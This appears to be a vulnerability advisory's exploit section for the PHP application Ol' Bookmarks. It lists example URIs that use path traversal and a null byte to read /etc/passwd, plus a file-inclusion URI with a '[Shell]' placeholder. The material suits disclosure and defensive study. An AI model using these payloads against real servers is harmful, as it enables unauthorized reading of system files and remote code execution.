• info
• discussion
• exploit
• solution
• references

Ol' Bookmarks Multiple Input Validation Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/olbookmarks/show.php?show=../../../../../../../etc/passwd%00
http://www.example.com/olbookmarks/frame.php?framefile=[Shell]
http://www.example.com/olbookmarks/read/frame.php?framefile=../../../../../../etc/passwd